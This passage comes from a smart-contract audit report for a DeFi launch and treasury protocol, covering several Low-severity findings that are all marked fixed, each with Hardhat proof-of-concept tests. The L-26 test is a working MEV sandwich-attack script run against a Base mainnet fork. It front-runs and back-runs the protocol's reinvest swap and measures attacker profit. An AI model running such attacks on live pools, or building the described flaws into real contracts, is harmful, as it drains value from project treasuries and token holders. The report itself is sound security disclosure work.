    const authority: any = await (await ethers.getContractFactory("MockTreasuryAuthority")).deploy(); // 200 bps growth
    const manager: any = await (await ethers.getContractFactory("MockTreasuryLaunchManager"))
      .deploy(await authority.getAddress(), outsider.address);
    const support: any = await (await ethers.getContractFactory("MockTreasurySupportController")).deploy();
    const vault: any = await (await ethers.getContractFactory("TreasuryVault")).deploy();
    await vault.initialize(77, await manager.getAddress(), creator.address, await adapter.getAddress(),
      await support.getAddress(), growth.address, 3, CUSTOM_ROUTE, custom, creator.address, (1n << 64n) - 1n);
    expect(await vault.currentYieldStrategy()).to.deep.equal([5_000n, 5_000n, 0n, 0n]); // accepted

    await manager.callMintBond(await vault.getAddress(), "0x", { value: ethers.parseEther("1") });
    await adapter.connect(administrator).mintProjectBond(1, ethers.parseEther("1"), {
      uuid: 1n, nonce: 1n, receiver: await adapter.getAddress(), amountNfts: 10n,
      paymentAmount: ethers.parseEther("1"), deadline: ethers.MaxUint256, signature: "0x",
    });

    // The guard quotes 2 units but not 1.
    await expect(guard.minimumCounterOut(0, 1, 150)).to.be.revertedWith("SupportGuard: zero quote");
    expect(await guard.minimumCounterOut(0, 2, 150)).to.be.gt(0n);

    // 1,000,001 micro-USDC: growth 20,000 -> strategyBase 980,001 (odd) ->
    // creator 490,000 + buy-burn 490,000 + reinvest remainder 1.
    await rewardPool.queueYield(await adapter.getAddress(), 1_000_001);
    await expect(vault.claimAndRoute()).to.be.revertedWith("SupportGuard: zero quote");
    expect(await usdc.balanceOf(creator.address)).to.equal(0n);
    expect(await usdc.balanceOf(growth.address)).to.equal(0n);
    expect(await vault.lifetimeClaimedUSDC()).to.equal(0n);

    // Control: one more unit makes strategyBase even (remainder 0) and every leg pays.
    await rewardPool.queueYield(await adapter.getAddress(), 1);
    await vault.claimAndRoute();
    expect(await vault.lifetimeClaimedUSDC()).to.equal(1_000_002n);
    expect(await vault.lifetimeReinvestedUSDC()).to.equal(0n);
    expect(await usdc.balanceOf(creator.address)).to.equal(490_001n);

    console.log("      claim 1,000,001 -> reinvest remainder 1 : reverted 'SupportGuard: zero quote'");
    console.log("      creator / growth / buy-burn paid        : 0 / 0 / 0");
    console.log("      claim 1,000,002 -> remainder 0          : routed, creator paid", (await
usdc.balanceOf(creator.address)).toString());
  });
});
```

Recommendation

1. **Skip the reinvest call when the strategy has no reinvest share,** and fold the floor remainder into another leg:

```
uint256 reinvestAmount = strategyBase - creatorAmount - buyBurnAmount - liquidityAmount;
if (strategy.reinvestBps == 0 && reinvestAmount > 0) {
    buyBurnAmount += reinvestAmount; // rounding dust, not a reinvestment
```

```
    reinvestAmount = 0;
}
```

1. **Optionally, have `reinvestYield` (or the vault) carry sub-quotable amounts forward** instead of reverting the claim. That also covers 1-unit remainders on strategies with a non-zero reinvest share whose computed share floors to dust.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed.

A 0%-reinvest strategy never calls the adapter, and a 1-unit reinvest share gets 0 from `reinvestableUsdc` (the zero quote is caught) and goes to buy-and-burn. Our original PoC no longer reverts.

[L-09] A USDC-blocklisted yieldRecipient reverts every claimAndRoute, freezing all yield legs

Severity: Low
Source finding: `L-25`
Source issue: #40 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Low (Impact: Medium, Likelihood: Low)
Confidence	High (Hardhat PoC with the real `TreasuryVault` passes)
Location	`TreasuryVault.sol:claimAndRoute` (push at :224); `yieldRecipient` only written in `initialize` (:132)
Class	TokenEdgeCases (V0)
Sources	External report `backedfund-contracts-stage2-r2-20261016-151629/2026-10-17_core.md` (L-06), verified against commit `213a6db`
PoC	`test/audit/L25BlocklistedYieldRecipient.test.ts` + `contracts/mocks/audit/MockBlocklistUSDC.sol` (passes)

What's wrong

The vault pays the creator's share of each yield claim by pushing USDC to an address fixed at launch, in the same transaction as every other share. If USDC blocklists that address, every claim reverts. That means the buy-and-burn, liquidity and growth-treasury shares stop too, not just the creator's. The address can never be changed. The only way out is a creator-only strategy change that sets the creator share to zero, which takes 7 days and gives up the creator share permanently.

How (mechanism)

`yieldRecipient` is set in `initialize` (:132) and has no setter. `claimAndRoute` runs **`usdc.safeTransfer(yieldRecipient, creatorAmount)`** (:224) before `depositYieldSupport` and `reinvestYield`, and a revert in that transfer unwinds the whole claim. Circle's USDC (FiatTokenV2) reverts transfers to blocklisted addresses. Recovery requires `proposeYieldStrategy` with `creatorBps = 0` (`onlyCreator`, :263-274), then `executeYieldStrategy` after `STRATEGY_CHANGE_DELAY = 7 days` (:24, :276-). From then on the creator share can't be paid anywhere, because the recipient can't be redirected.

Impact

- **Project token holders / growth treasury:** buy-burn, liquidity-support, reinvestment and growth-treasury legs stop for at least 7 days after a blocklisting. Claims fail until the creator acts. If the creator doesn't act, for example because they've left or their key is gone, routing is frozen indefinitely.
- **Creator:** after recovery, the creator share is set to 0 for good, with no way to move it to a new address.
- **No principal loss:** yield keeps accruing at the adapter and routes once the strategy changes.
- **Severity:** Impact Medium (all legs frozen for at least 7 days, possibly indefinitely) × Likelihood Low (needs a USDC-issuer blocklist action against the creator-chosen address) gives **Low**. Under Sherlock rules, a blocklisted address that harms parties other than the blocklisted user can be valid, but the external precondition keeps it Low here.

Proof of Concept

`MockBlocklistUSDC` reproduces FiatToken's blocklist revert. The test: 1. Deploys the real `TreasuryVault` with a Balanced strategy and mints a bond. 2. Blocklists `yieldRecipient`, then queues 1,000,000 micro-USDC of yield. `claimAndRoute` reverts, and growth and buy-burn receive 0. 3. Confirms the ABI has no recipient setter. 4. Has the creator propose `creatorBps = 0`. One minute before the 7-day delay the strategy can't be executed and claims still revert. After the delay, the claim routes, with the creator share forgone.

```
  [L-25] PoC: blocklisted yieldRecipient freezes all yield routing
      claims while blocklisted        : all revert (growth/buy-burn/reinvest paid 0)
      recovery                        : creatorBps=0 strategy after 7-day delay
      creator share after recovery    : 0 (no way to redirect it)
    ✔ every claim reverts until a 7-day creatorBps=0 strategy change

  1 passing
```

contracts/mocks/audit/MockBlocklistUSDC.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

/// Audit-only USDC stand-in with Circle-style blocklisting: transfers to or
/// from a blocked address revert, as FiatTokenV2 does.
contract MockBlocklistUSDC is ERC20 {
    mapping(address => bool) public blocked;

    constructor() ERC20("Blocklist USD Coin", "bUSDC") {}

    function decimals() public pure override returns (uint8) { return 6; }
    function mint(address to, uint256 amount) external { _mint(to, amount); }
    function setBlocked(address account, bool value) external { blocked[account] = value; }

    function _update(address from, address to, uint256 value) internal override {
        require(!blocked[from] && !blocked[to], "Blacklistable: account is blacklisted");
        super._update(from, to, value);
    }
}
```

test/audit/L25BlocklistedYieldRecipient.test.ts

```
import { expect } from "chai";
import { ethers } from "hardhat";
import { time } from "@nomicfoundation/hardhat-network-helpers";
```

```
// [L-25] yieldRecipient is fixed at initialize and paid by push inside
// claimAndRoute before every other leg. If USDC blocklists it, every claim
// reverts, so buy-burn, liquidity and growth-treasury shares stop too. The only
// escape is a creator-only strategy change to creatorBps = 0 after 7 days.

const DAY = 24 * 60 * 60;
const balanced = { buyBurnBps: 5_000, creatorBps: 3_000, reinvestBps: 2_000, liquidityBps: 0 };

describe("[L-25] PoC: blocklisted yieldRecipient freezes all yield routing", function () {
  it("every claim reverts until a 7-day creatorBps=0 strategy change", async function () {
    const [, guardian, creator, growth, recipient] = await ethers.getSigners();
    const usdc: any = await (await ethers.getContractFactory("MockBlocklistUSDC")).deploy();
    const support: any = await (await ethers.getContractFactory("MockTreasurySupportController")).deploy();
    const authority: any = await (await ethers.getContractFactory("MockTreasuryAuthority")).deploy();
    const manager: any = await (await ethers.getContractFactory("MockTreasuryLaunchManager"))
      .deploy(await authority.getAddress(), guardian.address);
    const adapter: any = await (await ethers.getContractFactory("MockTreasuryBondAdapter")).deploy(await usdc.getAddress());
    const vault: any = await (await ethers.getContractFactory("TreasuryVault")).deploy();
    await vault.initialize(7, await manager.getAddress(), creator.address, await adapter.getAddress(),
      await support.getAddress(), growth.address, 3, 0, balanced, recipient.address, (1n << 64n) - 1n);
    await manager.callMintBond(await vault.getAddress(), "0x", { value: ethers.parseEther("1") });
    await adapter.configureReinvestment(1, 196_000);

    // USDC (Circle) blocklists the creator-chosen recipient.
    await usdc.setBlocked(recipient.address, true);
    await adapter.configureClaim(1_000_000, 1_000_000);
    await expect(vault.claimAndRoute()).to.be.revertedWith("Blacklistable: account is blacklisted");
    expect(await usdc.balanceOf(growth.address)).to.equal(0n);
    expect(await vault.lifetimeBuyBurnUSDC()).to.equal(0n);

    // No function can change the recipient.
    const names = vault.interface.fragments.filter((x: any) => x.type === "function").map((x: any) => x.name);
    expect(names.filter((n: string) => /recipient/i.test(n) && /^set|update|change/i.test(n))).to.deep.equal([]);

    // Escape: creator proposes creatorBps = 0, which only takes effect after 7 days.
    const noCreator = { buyBurnBps: 8_000, creatorBps: 0, reinvestBps: 2_000, liquidityBps: 0 };
    await vault.connect(creator).proposeYieldStrategy(5, noCreator);
    await time.increase(7 * DAY - 60);
    await expect(vault.connect(creator).executeYieldStrategy()).to.be.reverted;
    await expect(vault.claimAndRoute()).to.be.revertedWith("Blacklistable: account is blacklisted");
    await time.increase(60);
    await vault.connect(creator).executeYieldStrategy();
    await vault.claimAndRoute();
    expect(await usdc.balanceOf(growth.address)).to.equal(20_000n);
    expect(await vault.lifetimeCreatorUSDC()).to.equal(0n); // creator share permanently forgone

    console.log("      claims while blocklisted       : all revert (growth/buy-burn/reinvest paid 0)");
    console.log("      recovery                       : creatorBps=0 strategy after 7-day delay");
    console.log("      creator share after recovery   : 0 (no way to redirect it)");
  });
});
```

Recommendation

1. **Make the creator leg pull-based.** Credit `creatorAmount` to a claimable balance and let `yieldRecipient` (or the creator) withdraw it, so a failing creator transfer can't block the other legs:

```
mapping(address => uint256) public creatorYieldOwed;
// in claimAndRoute
if (creatorAmount > 0) creatorYieldOwed[yieldRecipient] += creatorAmount;

function withdrawCreatorYield(address to) external {
    require(msg.sender == yieldRecipient || msg.sender == creator, "TreasuryVault: not recipient");
    uint256 amount = creatorYieldOwed[yieldRecipient];
```

```
    creatorYieldOwed[yieldRecipient] = 0;
    IERC20(bondAdapter.yieldToken()).safeTransfer(to, amount);
}
```

1. **Or add a creator-only `setYieldRecipient`.** Optionally time-locked, so a blocklisted or lost recipient can be replaced without giving up the creator share.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed.

- The creator share is credited to `creatorYieldOwed`, so a blocklisted recipient no longer blocks the other legs.
- `releaseCreatorYield` (anyone, to `yieldRecipient`) and `withdrawCreatorYield(to)` (yield recipient only) are both `nonReentrant` and work while claims are paused. Nothing else in the vault sweeps USDC that could take the owed balance.
- Our original PoC no longer reverts.

The only leftover case is a recipient contract that is blocklisted and also can't call `withdrawCreatorYield`, which only affects its own yield.

[L-10] Permissionless reinvest swap can be sandwiched inside the 30 bps spot/TWAP band (~0.08% per event on Base)

Severity: Low
Source finding: `L-26`
Source issue: #41 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Low (Impact: Low, Likelihood: Medium)
Confidence	High (Base-fork PoC: real USDC/WETH 0.05% pool, SwapRouter02, `UniversalBondsAdapter`, `ProjectSupportV3TwapGuard`)
Location	`UniversalBondsAdapter.sol:reinvestYield` (:412-430, `reinvestmentSlippageBps = 150` :80); `ProjectSupportV3TwapGuard.sol` (`MAX_SPOT_TWAP_DEVIATION_BPS = 30` :33)
Class	MEVEconomic (V0)
Sources	External report `backedfund-contracts-stage2-r2-20261016-151629/2026-10-17_core.md` (L-09), verified against commit `213a6db`. The report's +218 USDC figure did **not** reproduce; numbers below are from the fork.
Related	#23 (L-13): the same class on `executeLiquiditySupport` (75 bps band), with a different entry point and parameters
PoC	`test/audit/L26ReinvestSandwich.baseFork.test.ts` (passes; run with `RUN_L26_BASE_FORK=true`)

What's wrong

Part of each project's bond yield is swapped from USDC to ETH for reinvestment, and anyone can trigger that swap. The swap's price check allows the pool price to sit up to 0.3% away from its 30-minute average, and its minimum output allows 1.5% below that average. A searcher can push the price inside that band, trigger the claim, and swap back in the same bundle. The project's reinvestment then fills at the worse price. On the real Base pool, the gain is small.

How (mechanism)

`TreasuryVault.claimAndRoute` has no caller restriction and ends in `UniversalBondsAdapter.reinvestYield`. That function checks `usdcAmount <= routeGuard.maxSafeUsdcInput(STANDARD_MODE)`, then swaps through SwapRouter02 with `amountOutMinimum = minimumCounterOut(STANDARD_MODE, usdcAmount, 150)`, a TWAP-anchored quote less 150 bps. `_validatedTwap` accepts any spot within **30 bps** of the 30-minute TWAP, and a same-transaction swap can't move the TWAP. A front-run USDC→WETH push that stays inside the band therefore leaves the reinvest swap valid but filling at the pushed price, and the searcher's WETH→USDC back-run captures part of the difference.

Impact

Measured on a Base fork at block 52,818,999, where `maxSafeUsdcInput` is about 108,964 USDC:

Reinvest size	Best front-run	Project loss vs. no front-run	Searcher gross	Searcher net after 5 bps flash fee
54,482 USDC (50% of capacity)	21,793 USDC	**43.23 USDC (≈0.08%)**	21.61 USDC	10.71 USDC
108,964 USDC (100% of capacity)	none	n/a: any front-run cuts capacity below the reinvest, and the call reverts `reinvestment capacity`	n/a	n/a

- **Project treasuries:** each sandwiched reinvest loses about 0.08% of the reinvested USDC, on reinvests well below capacity. Front-runs above ~22k USDC trip the 30 bps band (`spot/TWAP deviation`). A full-capacity reinvest can't be sandwiched, because the push lowers `maxSafeUsdcInput` below it.
- **Searcher:** about –22 per event before gas (Base gas is cents), so the attack is marginally profitable and repeatable on every claim.
- **The report overstated it:** its figure of +218 USDC on a ~100.7k reinvest came from a test that didn't wire up the adapter. Here a ~100k reinvest is at capacity and can't be sandwiched at all.
- **Severity:** Impact Low (≈0.08% of reinvested yield) × Likelihood Medium (permissionless trigger, small but positive profit) gives **Low**.

Proof of Concept

The fork test deploys the real `PlazmV3TwapGuard` and `ProjectSupportV3TwapGuard` against the live Base pools. It then deploys the real `UniversalBondsAdapter`, using real USDC, WETH and SwapRouter02 `0x2626…e481`, with mock bonds and reward pool used only to activate a position. Its reinvest leg is driven exactly as `TreasuryVault` calls it (`MockUniversalTreasuryVault.reinvest`). For each reinvest size it sweeps front-run sizes in 2.5%-of-capacity steps: push USDC→WETH → reinvest → back-run WETH→USDC. It records searcher profit and the project's WETH shortfall against an unsandwiched baseline.

```
      fork block 52818999 | reinvest capacity 108964.138439 USDC
      victim 108964.138439 front 0.0 attacker gross 0.0 net(after 5bps flash) 0.0 | project loss 0.0
      victim 108964.138439 front 2724.10346 REVERT 'UniversalBondsAdapter: reinvestment capacity'
      victim 108964.138439 front 5448.206921 REVERT 'UniversalBondsAdapter: reinvestment capacity'
      victim 108964.138439 front 8172.310382 REVERT 'UniversalBondsAdapter: reinvestment capacity'
      victim 108964.138439 front 10896.413843 REVERT 'UniversalBondsAdapter: reinvestment capacity'
      victim 108964.138439 front 13620.517304 REVERT 'UniversalBondsAdapter: reinvestment capacity'
      victim 108964.138439 front 16344.620765 REVERT 'UniversalBondsAdapter: reinvestment capacity'
      victim 108964.138439 front 19068.724226 REVERT 'UniversalBondsAdapter: reinvestment capacity'
      victim 108964.138439 front 21792.827687 REVERT 'UniversalBondsAdapter: reinvestment capacity'
      victim 108964.138439 front 24516.931148 REVERT spot/TWAP deviation
      victim 54482.069219 front 0.0 attacker gross 0.0 net(after 5bps flash) 0.0 | project loss 0.0
      victim 54482.069219 front 2724.10346 attacker gross 2.692866 net(after 5bps flash) 1.330815 | project loss 5.395865
      victim 54482.069219 front 5448.206921 attacker gross 5.387811 net(after 5bps flash) 2.663708 | project loss 10.793668
      victim 54482.069219 front 8172.310382 attacker gross 8.085217 net(after 5bps flash) 3.999062 | project loss 16.193785
      victim 54482.069219 front 10896.413843 attacker gross 10.785095 net(after 5bps flash) 5.336889 | project loss 21.59623
      victim 54482.069219 front 13620.517304 attacker gross 13.487444 net(after 5bps flash) 6.677186 | project loss 27.001003
      victim 54482.069219 front 16344.620765 attacker gross 16.192264 net(after 5bps flash) 8.019954 | project loss 32.4081
      victim 54482.069219 front 19068.724226 attacker gross 18.899554 net(after 5bps flash) 9.365192 | project loss 37.817526
      victim 54482.069219 front 21792.827687 attacker gross 21.609313 net(after 5bps flash) 10.7129 | project loss 43.229275
      victim 54482.069219 front 24516.931148 REVERT spot/TWAP deviation
      best case:
{"victimUSDC":"54482.069219","frontUSDC":"21792.827687","filled":true,"victimLossUSDC":"43.229275","grossProfitUSDC":"21.609313","net
```

```
AfterFlashFeeUSDC":"10.7129"}
  1 passing (876ms)
```

test/audit/L26ReinvestSandwich.baseFork.test.ts

```
import { expect } from "chai";
import { ethers, network } from "hardhat";
import { time } from "@nomicfoundation/hardhat-network-helpers";
import {
  PLAZM_ADDRESS, PLAZM_V3_ROUTE, PROJECT_SUPPORT_V3_ROUTE, UNISWAP_V3_FACTORY_ADDRESS, WETH_ADDRESS,
} from "../../scripts/lib/network-config";

// [L-26] UniversalBondsAdapter.reinvestYield swaps USDC->WETH with
// amountOutMinimum = TWAP quote x (1 - 150 bps), and the guard accepts spot up
// to 30 bps away from the 30-minute TWAP. claimAndRoute is permissionless, so a
// searcher can push spot inside the band, trigger the reinvest, and back-run.
// Replays against the real Base USDC/WETH 0.05% pool and SwapRouter02 with the
// real adapter + ProjectSupportV3TwapGuard; only bonds/reward pool are mocked.

const RUN_FORK = process.env.RUN_L26_BASE_FORK === "true";
const FORK_BLOCK = Number(process.env.L26_BASE_FORK_BLOCK || "52818999");
const USDC = PROJECT_SUPPORT_V3_ROUTE.usdc;
const POOL = PROJECT_SUPPORT_V3_ROUTE.usdcWethPool;
const FEE = PROJECT_SUPPORT_V3_ROUTE.usdcWethFee;
const SWAP_ROUTER02 = "0x2626664c2603336E57B271c5C0b26F421741e481";

async function setUsdc(holder: string, recipient: string, amount: bigint) {
  const token: any = await ethers.getContractAt(["function balanceOf(address) view returns (uint256)"], USDC);
  const known = BigInt(await token.balanceOf(holder));
  const coder = ethers.AbiCoder.defaultAbiCoder();
  for (let slot = 0n; slot < 200n; slot++) {
    if (BigInt(await ethers.provider.getStorage(USDC, ethers.keccak256(coder.encode(["address", "uint256"], [holder, slot])))) !==
known) continue;
    await network.provider.send("hardhat_setStorageAt", [USDC,
      ethers.keccak256(coder.encode(["address", "uint256"], [recipient, slot])), ethers.zeroPadValue(ethers.toBeHex(amount), 32)]);
    if (BigInt(await token.balanceOf(recipient)) === amount) return;
  }
  throw new Error("USDC balance slot not found");
}

if (RUN_FORK) describe("[L-26] PoC: reinvest swap sandwich inside the 30 bps spot/TWAP band (Base fork)", function () {
  this.timeout(900_000);

  before(async function () {
    await network.provider.send("hardhat_reset", [{ forking: {
      jsonRpcUrl: process.env.BASE_MAINNET_RPC || "https://mainnet.base.org", blockNumber: FORK_BLOCK } }]);
    await network.provider.send("hardhat_setNextBlockBaseFeePerGas", ["0x0"]);
    await network.provider.send("evm_mine");
  });

  it("sweeps front-run sizes against near-capacity reinvests through the real adapter", async function () {
    const [authority, administrator, treasury, attacker] = await ethers.getSigners();
    const plazmGuard: any = await (await ethers.getContractFactory("PlazmV3TwapGuard")).deploy(
      UNISWAP_V3_FACTORY_ADDRESS, WETH_ADDRESS, PLAZM_V3_ROUTE.intermediate, PLAZM_ADDRESS,
      PLAZM_V3_ROUTE.wethIntermediateFee, PLAZM_V3_ROUTE.intermediatePlazmFee);
    const guard: any = await (await ethers.getContractFactory("ProjectSupportV3TwapGuard")).deploy(
      UNISWAP_V3_FACTORY_ADDRESS, USDC, WETH_ADDRESS, FEE, await plazmGuard.getAddress());
    const rewardPool: any = await (await ethers.getContractFactory("MockUniversalRewardPool")).deploy();
    await rewardPool.configureViews(USDC, false, false);
    const bonds: any = await (await ethers.getContractFactory("MockUniversalNFTBonds")).deploy(
      await rewardPool.getAddress(), treasury.address);
    await rewardPool.setBonds(await bonds.getAddress());
    const adapter: any = await (await ethers.getContractFactory("UniversalBondsAdapter")).deploy(
      authority.address, administrator.address, await bonds.getAddress(), await rewardPool.getAddress(),
      USDC, WETH_ADDRESS, SWAP_ROUTER02, await guard.getAddress());
    const vault: any = await (await ethers.getContractFactory("MockUniversalTreasuryVault")).deploy();
    await vault.createPosition(await adapter.getAddress(), { value: ethers.parseEther("1") });
    await adapter.connect(administrator).mintProjectBond(1, ethers.parseEther("1"), {
```

```
      uuid: 1n, nonce: 1n, receiver: await adapter.getAddress(), amountNfts: 10n,
      paymentAmount: ethers.parseEther("1"), deadline: ethers.MaxUint256, signature: "0x" });

    const usdc: any = await ethers.getContractAt(["function approve(address,uint256) returns (bool)",
      "function balanceOf(address) view returns (uint256)"], USDC);
    const weth: any = await ethers.getContractAt(["function approve(address,uint256) returns (bool)",
      "function balanceOf(address) view returns (uint256)"], WETH_ADDRESS);
    const router: any = await ethers.getContractAt([
      "function exactInput((bytes path,address recipient,uint256 amountIn,uint256 amountOutMinimum)) payable returns (uint256)"],
      SWAP_ROUTER02);
    const usdcToWeth = ethers.solidityPacked(["address", "uint24", "address"], [USDC, FEE, WETH_ADDRESS]);
    const wethToUsdc = ethers.solidityPacked(["address", "uint24", "address"], [WETH_ADDRESS, FEE, USDC]);

    const cap = BigInt(await guard.maxSafeUsdcInput(0));
    expect(cap).to.be.gt(0n);
    await setUsdc(POOL, await vault.getAddress(), cap * 2n);
    await setUsdc(POOL, attacker.address, ethers.parseUnits("2000000", 6));
    const ethPerUsd = BigInt(await guard.ethAmountForUsd(1_000_000));

    const results: any[] = [];
    for (const victimBps of [10_000n, 5_000n]) {
      const victim = cap * victimBps / 10_000n;
      let baselineEth = 0n;
      for (const frontBps of [0n, 250n, 500n, 750n, 1_000n, 1_250n, 1_500n, 1_750n, 2_000n, 2_250n]) {
        const front = cap * frontBps / 10_000n;
        const snap = await network.provider.send("evm_snapshot");
        const row: any = { victimUSDC: ethers.formatUnits(victim, 6), frontUSDC: ethers.formatUnits(front, 6) };
        try {
          const before = BigInt(await usdc.balanceOf(attacker.address));
          if (front > 0n) {
            await usdc.connect(attacker).approve(SWAP_ROUTER02, front);
            await router.connect(attacker).exactInput({ path: usdcToWeth, recipient: attacker.address,
              amountIn: front, amountOutMinimum: 0 });
          }
          // Victim: the permissionless claimAndRoute's reinvest leg, as the vault calls it.
          const ethBefore = BigInt(await adapter.pendingPositionReinvestmentETH(1));
          await vault.reinvest(await adapter.getAddress(), USDC, 1, victim);
          row.filled = true;
          row.victimEth = BigInt(await adapter.pendingPositionReinvestmentETH(1)) - ethBefore;
          if (front === 0n) baselineEth = row.victimEth;
          row.victimLossUSDC = ethers.formatUnits((baselineEth - row.victimEth) * 1_000_000n / ethPerUsd, 6);
          if (front > 0n) {
            const w = BigInt(await weth.balanceOf(attacker.address));
            await weth.connect(attacker).approve(SWAP_ROUTER02, w);
            await router.connect(attacker).exactInput({ path: wethToUsdc, recipient: attacker.address,
              amountIn: w, amountOutMinimum: 0 });
          }
          const gross = BigInt(await usdc.balanceOf(attacker.address)) - before;
          const flashFee = front * 5n / 10_000n;
          row.grossProfitUSDC = ethers.formatUnits(gross, 6);
          row.netAfterFlashFeeUSDC = ethers.formatUnits(gross - flashFee, 6);
          row.net = gross - flashFee;
        } catch (e: any) {
          row.filled = false;
          row.reason = String(e?.message ?? e).slice(0, 120);
        }
        results.push(row);
        await network.provider.send("evm_revert", [snap]);
      }
    }

    const filled = results.filter((r) => r.filled && r.frontUSDC !== "0.0");
    const best = filled.reduce((a, b) => (b.net > a.net ? b : a), filled[0]);
    console.log("      fork block", FORK_BLOCK, "| reinvest capacity", ethers.formatUnits(cap, 6), "USDC");
    for (const r of results) console.log("      victim", r.victimUSDC, "front", r.frontUSDC,
      r.filled ? `attacker gross ${r.grossProfitUSDC} net(after 5bps flash) ${r.netAfterFlashFeeUSDC} | project loss $
{r.victimLossUSDC}` : `REVERT ${r.reason.includes("deviation") ? "spot/TWAP deviation" : r.reason}`);
    console.log("      best case:", JSON.stringify({ ...best, net: undefined, victimEth: undefined }));
    expect(filled.length).to.be.gt(0);
```

```
  });
});
```

Recommendation

1. **Tighten the reinvest swap's bounds.** Lower `reinvestmentSlippageBps` toward the pool fee plus the band (for example 50 bps), or derive `amountOutMinimum` from the tighter of the spot and TWAP quotes so a pushed spot can't be filled against.
2. **Narrow `MAX_SPOT_TWAP_DEVIATION_BPS` for the reinvest leg,** or pass a reinvest-specific deviation to the guard.
3. **Alternatively, restrict when `claimAndRoute` runs.** Limit the reinvest to the controller's automatic claim, or add a per-vault cooldown, so a searcher can't pick both the timing and the bundle.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed, verified on a Base fork.

Our L-26 sweep reran at block 52,818,999 against the new adapter (`maxReinvestUsdc` = 21,792.83 USDC, slippage 50 bps): - front-runs from 1% to 24% of the guard's safe input in 1% steps; - victims at 50% of the new cap, and at 100% recomputed after the front-run (as `claimAndRoute` does in the same transaction).

0 of 40 filled configurations were profitable. The attacker's best result was −0.77 USDC after a 5 bps flash fee, and front-runs above ~21% hit the spot/TWAP band.

Note (informational): a front-run shrinks `maxReinvestUsdc` slightly (~4 USDC per 1k front-run), which sends that much more of the share to buy-and-burn. The attacker pays more than it shifts.

[L-11] The 15% creator cap is measured before settlement burns; padded lpSupply leaves the creator with ~47-64% of supply

Severity: Low
Source finding: `L-27`
Source issue: #44 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Low (Impact: Medium, Likelihood: Low)
Confidence	High (Hardhat PoC through the real `LaunchManager` / `LaunchEconomicsPolicy` lifecycle passes)
Location	`LaunchEconomicsPolicy.sol:validateAndResolve` (creator cap :142-145, LP check :167); burn in `LaunchManager.sol:_settleLaunch` (:564-588)
Class	ShareAccounting (V0)
Sources	External report `.solidity-auditor/runs/20261016-133716/full-report.md` (finding 2), verified against commit `213a6db`
PoC	`test/audit/L27CreatorCapAfterBurn.test.ts` (passes)

What's wrong

The protocol promises that a creator can hold at most 15% of a launch's tokens. That 15% is measured against the configured total supply, but at finalization the protocol burns every liquidity token the pool didn't need, plus any unsold sale tokens. Nothing ties the configured liquidity allocation to what the pool actually uses. So a creator can label most of the supply as "liquidity" and pass the 15% check. That allocation is then burned at finalization, and the creator holds several times the advertised share of what remains.

How (mechanism)

`validateAndResolve` requires `creatorSupply <= totalSupply × 15%` and `saleSupply + lpSupply + creatorSupply == totalSupply`. For the LP allocation it only checks **`maxLpTokens <= lpSupply`**, where `maxLpTokens = maxLpETH × saleSupply / hardCap`. `_settleLaunch` then computes `usedLpSupply = lpETH × saleSupply / hardCap` and burns `unsoldSaleSupply + (lpSupply - usedLpSupply)`. The creator's vesting vault is funded with the full `creatorSupply` and isn't scaled down. After finalization the creator's share is `creatorSupply / (soldSale + usedLp + creatorSupply)`, which can be far above 15%. Both rules are documented, but separately: the 15% cap (`docs/CLIENT_PROTOCOL_GUIDE.md:303`) and the burn (`:311`). The audit checklist states "Creator supply is capped at 15%" (`:591`).

Impact

- **Buyers:** the advertised 15% creator cap doesn't bound the creator's real stake. With creator 15%, sale 10%, the rest labelled LP and a full sell-out, the creator ends up with:
- **~47%** of the post-finalization supply in Standard mode (70% LP split; PoC);
- **~52%** in a Bond or Built launch (40% LP split);
- **~64%** in Standard mode with a 5% sale;
- even more when the sale doesn't sell out, because unsold sale tokens are burned as well.
- **Market:** after the 90-day minimum cliff, the creator's linear vesting releases a near-majority or majority of the float into a pool seeded at the sale price.
- **Scope note:**
- The configuration is public in the launch config and economics receipt, so a careful buyer can work out the post-burn share.
- The creator tokens still vest (cliff of 90 days or more, over 365 days or more).
- Nothing is stolen at finalization.
- **Severity:** Impact Medium (a documented holder-protection limit that doesn't hold) × Likelihood Low (needs a creator to deliberately pad `lpSupply`, which is visible on chain) gives **Low**.

Proof of Concept

The test uses the composed local protocol (`fullProtocolFixture`). It creates two Standard launches, each with `creatorSupply` at exactly 15% of 1B. Each sells out at 2 ETH and finalizes through the real `LaunchManager`: - **Control:** `lpSupply` is sized to what the pool uses (0.665 LP tokens per sale token). The creator holds 15% of the post-finalization supply. - **Padded:** sale 10% and `lpSupply` 75%. It passes every policy check, **683.5M tokens are burned** at finalization, and the creator's vault holds **47.39%** of the remaining supply.

```
  [L-27] PoC: padded lpSupply turns the 15% creator cap into ~47% of supply
      control (lpSupply = needed) : creator 15% of configured supply -> 15% of supply after finalization (0.000000000000000001
burned)
      padded lpSupply (75%)       : creator 15% of configured supply -> 47.39% of supply after finalization (683500000.0 burned)
    ✔ a 15%-of-total creator ends up with ~47% of supply after the settlement burn

  1 passing
```

test/audit/L27CreatorCapAfterBurn.test.ts

```
import { expect } from "chai";
import { ethers } from "hardhat";
import { loadFixture, time } from "@nomicfoundation/hardhat-network-helpers";
import { fullProtocolFixture, launchConfig, launchTerms } from "../../scripts/lib/local-protocol";

// [L-27] LaunchEconomicsPolicy caps creatorSupply at 15% of totalSupply but only
// requires maxLpTokens <= lpSupply. Settlement burns lpSupply - usedLpSupply and
// unsold sale tokens, so padding lpSupply lets the creator end up with a majority
// of the post-finalization supply while passing the 15% check.

const SUPPLY = ethers.parseEther("1000000000");
const pct = (x: bigint, y: bigint) => Number(x * 10_000n / y) / 100;

describe("[L-27] PoC: padded lpSupply turns the 15% creator cap into ~47% of supply", function () {
  async function runLaunch(f: any, id: number, symbol: string, saleSupply: bigint) {
    const creatorSupply = SUPPLY * 15n / 100n;          // exactly the 15% cap
    const lpSupply = SUPPLY - creatorSupply - saleSupply; // everything else labelled LP
    const config = await launchConfig(0, `Cap ${symbol}`, symbol, {
      totalSupply: SUPPLY,
```

```
      saleSupply, lpSupply, creatorSupply,
